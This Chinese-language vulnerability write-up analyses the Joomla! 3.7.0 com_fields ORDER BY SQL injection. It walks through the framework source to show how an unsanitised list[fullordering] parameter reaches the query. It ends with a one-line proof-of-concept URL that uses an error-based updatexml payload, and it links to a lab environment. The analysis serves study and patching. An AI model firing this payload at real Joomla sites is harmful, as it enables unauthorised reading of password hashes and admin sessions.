【漏洞分析】Joomla!3.7.0 Core SQL注入漏洞详细分析（含PoC、漏洞环境）

作者：Balis0ng

预估稿费：400RMB

投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿

传送门

【漏洞预警】Joomla!3.7.0 Core SQL注入漏洞(更新漏洞环境)

前言

Joomla！是世界上最受欢迎的内容管理系统（CMS）解决方案之一。它可以让用户自定义构建网站实现强大的在线应用程序。据不完全统计互联网上超过3％的网站运行Joomla！，同时它占有全球9%以上的CMS市场份额。

截止至2016年11月，Joomla！的总下载量超过7800万次。目前Joomla！官方还提供了超过7800个扩展插件（含免费、收费插件）及其他的可用资源可供下载。

漏洞概述

---

漏洞等级：严重

漏洞类型：SQL 注入

利用难度：简单

利用方式：远程

影响版本：Joomla! 3.7.0 Core

漏洞简述：这个漏洞出现在3.7.0新引入的一个组件“com_fields”，这个组件任何人都可以访问，无需登陆验证。由于对请求数据过滤不严导致sql 注入，sql注入对导致数据库中的敏感信息泄漏，例如用户的密码hash以及登陆后的用户的session（如果是获取到登陆后管理员的session，那么整个网站的后台系统可能被控制）。

漏洞分析

看了一下漏洞概要，发现写的比较简单，自己复现的时候发现调用关系比较复杂,特别是在类函数的调用中，稍不注意就钻错函数了。

首先，在E:/www/joomla370/components/com_fields/controller.php中有这样一段代码:

public function __construct($config = array())
    {
        $this->input = JFactory::getApplication()->input;
        // Frontpage Editor Fields Button proxying:
        if ($this->input->get('view') === 'fields' && $this->input->get('layout') === 'modal')
        {
            // Load the backend language file.
            $lang = JFactory::getLanguage();
            $lang->load('com_fields', JPATH_ADMINISTRATOR);
            $config['base_path'] = JPATH_COMPONENT_ADMINISTRATOR;
        }
        parent::__construct($config);
    }

这里我们接收两个参数，一个view和一个layout,然后满足一定条件就进入到了if中，这里有一个关键点，设置了一个$config['base_path']为administrator的components目录。

然后调用父类的构造方法:

parent::__construct($config)；

我们跟一下这个方法:

在E:/www/joomla370/libraries/legacy/controller/legacy.php中的__construct方法,函数体太长，就不贴了，主要在395行，加入我们的model：

        if (array_key_exists('model_path', $config))
        {
            // User-defined dirs
            $this->addModelPath($config['model_path'], $this->model_prefix);
        }
        else
        {
            $this->addModelPath($this->basePath . '/models', $this->model_prefix);
        }

这里是进入到了else这个分支，然后这个地方的$this->basePath就是我们最开始的注意点，是administators/components

然后设置完了后就调用该类中的display方法进行一个实际操作,包括创建model之类的操作，在第613行:

    public function display($cachable = false, $urlparams = array())
    {
        $document = JFactory::getDocument();
        $viewType = $document->getType();
        $viewName = $this->input->get('view', $this->default_view);
        $viewLayout = $this->input->get('layout', 'default', 'string');
        $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout));
        // Get/Create the model
        if ($model = $this->getModel($viewName))
        {
            // Push the model into the view (as default)
            $view->setModel($model, true);
        }

这里的$viewName是取自于view,也就是fields,然后这里先调用getView函数取得视图,然后再调用了getModel进行一个操作:

    public function getModel($name = '', $prefix = '', $config = array())
    {
        if (empty($name))
        {
            $name = $this->getName();
        }
        if (empty($prefix))
        {
            $prefix = $this->model_prefix;
        }
        if ($model = $this->createModel($name, $prefix, $config))
        {
            // Task is a reserved state
            $model->setState('task', $this->task);
            // Let's get the application object and set menu information if it's available
            $menu = JFactory::getApplication()->getMenu();
            if (is_object($menu))
            {
                if ($item = $menu->getActive())
                {
                    $params = $menu->getParams($item->id);
                    // Set default state data
                    $model->setState('parameters.menu', $params);
                }
            }
        }
        return $model;
    }

这里调用createModel方法进行类的实例化。

并返回$model。

接着调用setModel函数将$model push到$view中。

到665行调用视图的display函数:

        else
        {
            $view->display();
        }
        return $this;

然后我们跳转到视图的display函数中来，在E:/www/joomla370/administrator/components/com_fields/views/fields/view.html.php中:

    public function display($tpl = null)
    {
        $this->state         = $this->get('State');
        $this->items         = $this->get('Items');
        $this->pagination    = $this->get('Pagination');
        $this->filterForm    = $this->get('FilterForm');
        $this->activeFilters = $this->get('ActiveFilters');

首先看第一行，这里调用了get函数，参数是State,我们跟进这个get函数，在E:/www/joomla370/libraries/legacy/view/legacy.php中第417行:

            $method = 'get' . ucfirst($property);
            // Does the method exist?
            if (method_exists($this->_models[$model], $method))
            {
                // The method exists, let's call it and return what we get
                $result = $this->_models[$model]->$method();
                return $result;
            }
        }

这里我们的$property是我们传进的实参也就是'State',那么拼接起来后的方法名就是getState,然后调用这个方法，由于这个方法在filedsmodel类中没有，那么会往父类里面找，根据一层层的继承关系，我们找到了getState方法，在E:/www/joomla370/libraries/legacy/model/legacy.php中

public function getState($property = null, $default = null)
    {
        if (!$this->__state_set)
        {
            // Protected method to auto-populate the model state.
            $this->populateState();
            // Set the model state set flag to true.
            $this->__state_set = true;
        }

然后这里会调用populateState方法,这个populateState只会调用一次。这个方法到底是哪个类中的呢？毋庸置疑，是filedsModel中的populateState方法:

protected function populateState($ordering = null, $direction = null)
    {
        // List state information.
        parent::populateState('a.ordering', 'asc');
        $context = $this->getUserStateFromRequest($this->context . '.context', 'context', 'com_content.article', 'CMD');
        $this->setState('filter.context', $context);

可以看到这里有调用了父类populateState方法，我们跟进到父类，在E:/www/joomla370/libraries/legacy/model/list.php

中，也就是漏洞原作者开始写的地方:

在第496行：

if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
            {
                foreach ($list as $name => $value)
                {
                    // Exclude if blacklisted
                    if (!in_array($name, $this->listBlacklist))
                    {
                        // Extra validations
                        switch ($name)
                        {
                            case 'fullordering':
                                $orderingParts = explode(' ', $value);
                                if (count($orderingParts) >= 2)

这里取了个list的值进来赋值给了$list

然后将$list遍历出来，接着switch 键值。switch代码过多，我们只需要看switch完后的一个操作，也就是在567行:

$this->setState('list.' . $name, $value);

通过这个我们可以设置list.fullfullordering

那么这里是设置了，总得取出来才行啊，那我们开始看如何将这个值取出来的。

上面说道在视图文件中的display方法中，利用get('State')来调用了getState方法。紧跟着这个操作的下一行，就有一个get('Item')。

public function display($tpl = null)
    {
        $this->state         = $this->get('State');
        $this->items         = $this->get('Items');

通过上面的分析，我们可以轻松的找到正确调用的方法，没错，就是E:/www/joomla370/libraries/legacy/model/list.php中的getItems方法:

public function getItems()
    {
        // Get a storage key.
        $store = $this->getStoreId();
        // Try to load the data from internal storage.
        if (isset($this->cache[$store]))
        {
            return $this->cache[$store];
        }
        try
        {
            // Load the list items and add the items to the internal cache.
            $this->cache[$store] = $this->_getList($this->_getListQuery(), $this->getStart(), $this->getState('list.limit'));
        }

这里调用了一个_getListQuery方法，继续跟踪，就在该类里面:

protected function _getListQuery()
    {
        // Capture the last store id used.
        static $lastStoreId;
        // Compute the current store id.
        $currentStoreId = $this->getStoreId();
        // If the last store id is different from the current, refresh the query.
        if ($lastStoreId != $currentStoreId || empty($this->query))
        {
            $lastStoreId = $currentStoreId;
            $this->query = $this->getListQuery();
        }

然后这里又调用了一个getListQuery方法，这里调用的getListQuery不是此类的getListQuery，而是子类，也就是filedsModel类里的getListQuery了,我们看一下该方法,在该方法的最后呢，也就是304左右:

        // Add the list ordering clause
        $listOrdering = $this->getState('list.fullordering', 'a.ordering');
        $orderDirn    = '';
        if (empty($listOrdering))
        {
            $listOrdering  = $this->state->get('list.ordering', 'a.ordering');
            $orderDirn     = $this->state->get('list.direction', 'DESC');
        }
        $query->order($db->escape($listOrdering) . ' ' . $db->escape($orderDirn));        
        return $query;
    }

这里就调用getState将我们前面设置的list.fullordering的值给取了出来，然后带入到了order函数中去了，就造成了一个order by的注入。

PoC

http://localhost/joomla370/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x3e,user()),0)

PoC验证截图

漏洞环境

---

感谢开源社区力量

漏洞靶场环境 由phithon维护

Vulhub是一个面向大众的开源漏洞靶场，无需docker知识，简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。

https://github.com/phith0n/vulhub/tree/master/joomla/CVE-2017-8917

总结

总的来说，注入触发的流程也不新鲜了，早在之前的joomla爆的一些组件注入中，比如之前的history组件注入，也多数是因为populate函数中的对一些参数过滤不严格，然后导致后来取出来的时候就产生了注入。

参考链接

---

https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html  

传送门

---

【漏洞预警】Joomla!3.7.0 Core SQL注入漏洞(更新漏洞环境)